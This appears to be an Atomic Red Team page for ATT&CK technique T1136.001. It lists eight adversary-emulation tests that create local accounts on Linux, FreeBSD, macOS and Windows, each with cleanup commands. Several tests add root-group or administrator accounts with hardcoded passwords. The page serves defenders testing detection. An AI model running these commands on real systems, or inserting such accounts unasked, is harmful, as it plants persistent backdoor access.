T1136.001

Try it using Invoke-Atomic

Create Account: Local Account

Description from ATT&CK

Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.

For example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account. Local accounts may also be added to network devices, often via common Network Device CLI commands such as username, or to Kubernetes clusters using the

kubectl

utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)

Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.

Atomic Tests

Atomic Test #1 - Create a user account on a Linux system

Create a user via useradd

Supported Platforms: linux

auto_generated_guid: 40d8eabd-e394-46f6-8785-b9bfa1d011d2

Inputs:

Name	Description	Type	Default Value
username	Username of the user to create	string	evil_user

Attack Commands: Run with bash! Elevation Required (e.g. root or admin)

useradd -M -N -r -s /bin/bash -c evil_account #{username}

Cleanup Commands:

userdel #{username}

Atomic Test #2 - Create a user account on a FreeBSD system

Create a user via pw

Supported Platforms: freebsd

auto_generated_guid: a39ee1bc-b8c1-4331-8e5f-1859eb408518

Inputs:

Name	Description	Type	Default Value
username	Username of the user to create	string	evil_user

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

pw useradd #{username} -s /usr/sbin/nologin -d /nonexistent -c evil_account

Cleanup Commands:

rmuser -y #{username}

Atomic Test #3 - Create a user account on a MacOS system

Creates a user on a MacOS system with dscl

Supported Platforms: macos

auto_generated_guid: 01993ba5-1da3-4e15-a719-b690d4f0f0b2

Inputs:

Name	Description	Type	Default Value
username	Username of the user to create	string	evil_user
realname	'realname' to record when creating the user	string	Evil Account

Attack Commands: Run with bash! Elevation Required (e.g. root or admin)

dscl . -create /Users/#{username}
dscl . -create /Users/#{username} UserShell /bin/zsh
dscl . -create /Users/#{username} RealName "#{realname}"
dscl . -create /Users/#{username} UniqueID "1010"
dscl . -create /Users/#{username} PrimaryGroupID 80
dscl . -create /Users/#{username} NFSHomeDirectory /Users/#{username}

Cleanup Commands:

dscl . -delete /Users/#{username}

Atomic Test #4 - Create a new user in a command prompt

Creates a new user in a command prompt. Upon execution, "The command completed successfully." will be displayed. To verify the new account, run "net user" in powershell or CMD and observe that there is a new user named "T1136.001_CMD"

Supported Platforms: windows

auto_generated_guid: 6657864e-0323-4206-9344-ac9cd7265a4f

Inputs:

Name	Description	Type	Default Value
username	Username of the user to create	string	T1136.001_CMD
password	Password of the user to create	string	T1136.001_CMD!

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

net user /add "#{username}" "#{password}"

Cleanup Commands:

net user /del "#{username}" >nul 2>&1

Atomic Test #5 - Create a new user in PowerShell

Creates a new user in PowerShell. Upon execution, details about the new account will be displayed in the powershell session. To verify the new account, run "net user" in powershell or CMD and observe that there is a new user named "T1136.001_PowerShell"

Supported Platforms: windows

auto_generated_guid: bc8be0ac-475c-4fbf-9b1d-9fffd77afbde

Inputs:

Name	Description	Type	Default Value
username	Username of the user to create	string	T1136.001_PowerShell

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

New-LocalUser -Name "#{username}" -NoPassword

Cleanup Commands:

Remove-LocalUser -Name "#{username}" -ErrorAction Ignore

Atomic Test #6 - Create a new user in Linux with

root

UID and GID.

Creates a new user in Linux and adds the user to the

root

group. This technique was used by adversaries during the Butter attack campaign.

Supported Platforms: linux

auto_generated_guid: a1040a30-d28b-4eda-bd99-bb2861a4616c

Inputs:

Name	Description	Type	Default Value
username	Username of the user to create	string	butter
password	Password of the user to create	string	BetterWithButter

Attack Commands: Run with bash! Elevation Required (e.g. root or admin)

useradd -g 0 -M -d /root -s /bin/bash #{username}
if [ $(cat /etc/os-release | grep -i 'Name="ubuntu"') ]; then echo "#{username}:#{password}" | sudo chpasswd; else echo "#{password}" | passwd --stdin #{username}; fi;

Cleanup Commands:

userdel #{username}

Atomic Test #7 - Create a new user in FreeBSD with

root

GID.

Creates a new user in FreeBSD and adds the user to the

root

group. This technique was used by adversaries during the Butter attack campaign.

Supported Platforms: freebsd

auto_generated_guid: d141afeb-d2bc-4934-8dd5-b7dba0f9f67a

Inputs:

Name	Description	Type	Default Value
username	Username of the user to create	string	butter
password	Password of the user to create	string	BetterWithButter

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

pw useradd #{username} -g 0 -d /root -s /bin/sh
echo "#{password}" | pw usermod #{username} -h 0

Cleanup Commands:

pw userdel #{username}

Atomic Test #8 - Create a new Windows admin user

Creates a new admin user in a command prompt.

Supported Platforms: windows

auto_generated_guid: fda74566-a604-4581-a4cc-fbbe21d66559

Inputs:

Name	Description	Type	Default Value
username	Username of the user to create	string	T1136.001_Admin
password	Password of the user to create	string	T1136_pass

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

net user /add "#{username}" "#{password}"
net localgroup administrators "#{username}" /add

Cleanup Commands:

net user /del "#{username}" >nul 2>&1

source